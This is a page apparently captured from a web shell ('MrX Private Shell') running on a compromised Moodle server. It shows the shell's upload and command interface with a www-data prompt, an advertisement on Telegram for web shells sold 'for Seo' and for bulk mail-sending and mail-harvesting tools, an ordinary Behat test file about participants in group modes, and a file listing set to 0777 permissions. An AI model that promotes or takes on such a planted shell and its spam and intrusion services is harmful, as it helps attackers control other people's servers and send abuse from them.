__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_course @javascript
Feature: Viewing participants page in different group modes
  In order to view my students
  As a user
  I need to be able to browse participants who are grouped

  Background:
    Given the following "courses" exist:
      | fullname     | shortname | summary | groupmode | category |
      | C1 nogroups  | C1        |         | 0         | 0        |
      | C2 visgroups | C2        |         | 2         | 0        |
      | C3 sepgroups | C3        |         | 1         | 0        |
    And the following "users" exist:
      | username | firstname | lastname | email                |
      | teacher1 | Teacher   | 1        | teacher1@example.com |
      | teacher2 | Teacher   | 2        | teacher2@example.com |
      | student1 | Student   | 1        | student1@example.com |
      | student2 | Student   | 2        | student2@example.com |
      | student3 | Student   | 3        | student3@example.com |
    And the following "course enrolments" exist:
      | user     | course | role    |
      | teacher1 | C1     | editingteacher |
      | teacher1 | C2     | editingteacher |
      | teacher1 | C3     | editingteacher |
      | teacher2 | C1     | teacher |
      | teacher2 | C2     | teacher |
      | teacher2 | C3     | teacher |
      | student1 | C1     | student |
      | student1 | C2     | student |
      | student1 | C3     | student |
      | student2 | C1     | student |
      | student2 | C2     | student |
      | student2 | C3     | student |
      | student3 | C1     | student |
      | student3 | C2     | student |
      | student3 | C3     | student |
    And the following "groups" exist:
      | name | course | idnumber |
      | G1   | C2     | C2G1      |
      | G2   | C2     | C2G2      |
      | G1   | C3     | C3G1      |
      | G2   | C3     | C3G2      |
    And the following "group members" exist:
      | user     | group |
      | student1 | C2G1   |
      | student1 | C3G1   |
      | student2 | C2G2   |
      | student2 | C3G2   |
      | teacher2 | C2G1   |
      | teacher2 | C3G1   |

  Scenario: Viewing participants page as an editing teacher in a course without group mode
    When I log in as "teacher1"
    And I am on "C1 nogroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "No groups"
    And "Student 2" row "Groups" column of "participants" table should contain "No groups"
    And "Student 3" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 1" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 2" row "Groups" column of "participants" table should contain "No groups"

  Scenario: Viewing participants page as an editing teacher in a course in visible groups mode
    When I log in as "teacher1"
    And I am on "C2 visgroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Student 2" row "Groups" column of "participants" table should contain "G2"
    And "Student 3" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 1" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"

  Scenario: Viewing participants page as an editing teacher in a course in separate groups mode
    When I log in as "teacher1"
    And I am on "C3 sepgroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Student 2" row "Groups" column of "participants" table should contain "G2"
    And "Student 3" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 1" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"

  Scenario: Viewing participants page as a non-editing teacher in a course without group mode
    When I log in as "teacher2"
    And I am on "C1 nogroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "No groups"
    And "Student 2" row "Groups" column of "participants" table should contain "No groups"
    And "Student 3" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 1" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 2" row "Groups" column of "participants" table should contain "No groups"

  Scenario: Viewing participants page as a non-editing teacher in a course in visible groups mode
    When I log in as "teacher2"
    And I am on "C2 visgroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"
    And I should not see "Teacher 1"
    And I should not see "Student 2"
    And I should not see "Student 3"

    When I click on "Clear filters" "button"
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Student 2" row "Groups" column of "participants" table should contain "G2"
    And "Student 3" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 1" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"

  Scenario: Viewing participants page as a non-editing teacher in a course in separate groups mode
    When I log in as "teacher2"
    And I am on "C3 sepgroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"
    And I should not see "Teacher 1"
    And I should not see "Student 2"
    And I should not see "Student 3"

    When I click on "Clear filters" "button"
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"
    And I should not see "Teacher 1"
    And I should not see "Student 2"
    And I should not see "Student 3"

  Scenario: Viewing participants page as a student in a course without group mode
    When I log in as "student1"
    And I am on "C1 nogroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "No groups"
    And "Student 2" row "Groups" column of "participants" table should contain "No groups"
    And "Student 3" row "Groups" column of "participants" table should contain "No groups"

  Scenario: Viewing participants page as a student in a group in a course in visible groups mode
    When I log in as "student1"
    And I am on "C2 visgroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"
    And I should not see "Student 2"
    And I should not see "Student 3"
    And I should not see "Teacher 1"
    When I click on "Clear filters" "button"
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Student 2" row "Groups" column of "participants" table should contain "G2"
    And "Student 3" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 1" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"

  Scenario: Viewing participants page as a student in a group in a course in separate groups mode
    When I log in as "student1"
    And I am on "C3 sepgroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"
    And I should not see "Student 2"
    And I should not see "Student 3"
    And I should not see "Teacher 1"
    When I click on "Clear filters" "button"
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"
    And I should not see "Student 2"
    And I should not see "Student 3"
    And I should not see "Teacher 1"

  Scenario: Viewing participants page as a student not in a group in a course in visible groups mode
    When I log in as "student3"
    And I am on "C2 visgroups" course homepage
    And I navigate to course participants
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"
    And I should not see "Student 2"
    And I should not see "Student 3" in the "participants" "table"
    And I should not see "Teacher 1"
    When I click on "Clear filters" "button"
    Then "Student 1" row "Groups" column of "participants" table should contain "G1"
    And "Student 2" row "Groups" column of "participants" table should contain "G2"
    And "Student 3" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 1" row "Groups" column of "participants" table should contain "No groups"
    And "Teacher 2" row "Groups" column of "participants" table should contain "G1"

  Scenario: Viewing participants page as a student not in a group in a course in separate groups mode
    When I log in as "student3"
    And I am on "C3 sepgroups" course homepage
    And I navigate to course participants
    Then I should see "Sorry, but you need to be part of a group to see this page."

Filemanager

Name Type Size Permission Actions
add_blocks.feature File 858 B 0777
addnewuser.feature File 725 B 0777
behat_user.php File 6.31 KB 0777
bulk_editenrolment.feature File 3.94 KB 0777
bulk_message.feature File 1.49 KB 0777
contact_site_support.feature File 5.39 KB 0777
custom_profile_fields.feature File 13.99 KB 0777
custom_profile_fields_manual.feature File 1.83 KB 0777
delete_users.feature File 5.31 KB 0777
edit_profile_notification.feature File 2.03 KB 0777
edit_user_enrolment.feature File 6.8 KB 0777
edit_user_roles.feature File 1.62 KB 0777
edituserpassword.feature File 1.99 KB 0777
enrol_cohort_list.feature File 2.2 KB 0777
filter_idnumber.feature File 3.82 KB 0777
filter_participants.feature File 48.29 KB 0777
filter_participants_showall.feature File 6.73 KB 0777
full_name_display.feature File 4.61 KB 0777
hidden_user_fields.feature File 2.09 KB 0777
input-purpose.feature File 1.82 KB 0777
name_fields.feature File 2.91 KB 0777
participants_in_group_modes.feature File 9.9 KB 0777
reset_page.feature File 908 B 0777
set_default_homepage.feature File 3.16 KB 0777
set_email_display.feature File 4.08 KB 0777
siteadmin_user_breadcrumbs.feature File 1.59 KB 0777
table_column_visibility.feature File 2.44 KB 0777
table_sorting.feature File 2.98 KB 0777
user_grade_navigation.feature File 4.35 KB 0777
user_permission.feature File 1.17 KB 0777
user_private_files.feature File 996 B 0777
view_full_profile.feature File 7.36 KB 0777
view_participants.feature File 15.08 KB 0777
view_participants_groups.feature File 3.37 KB 0777
view_preferences_page.feature File 3.32 KB 0777
Filemanager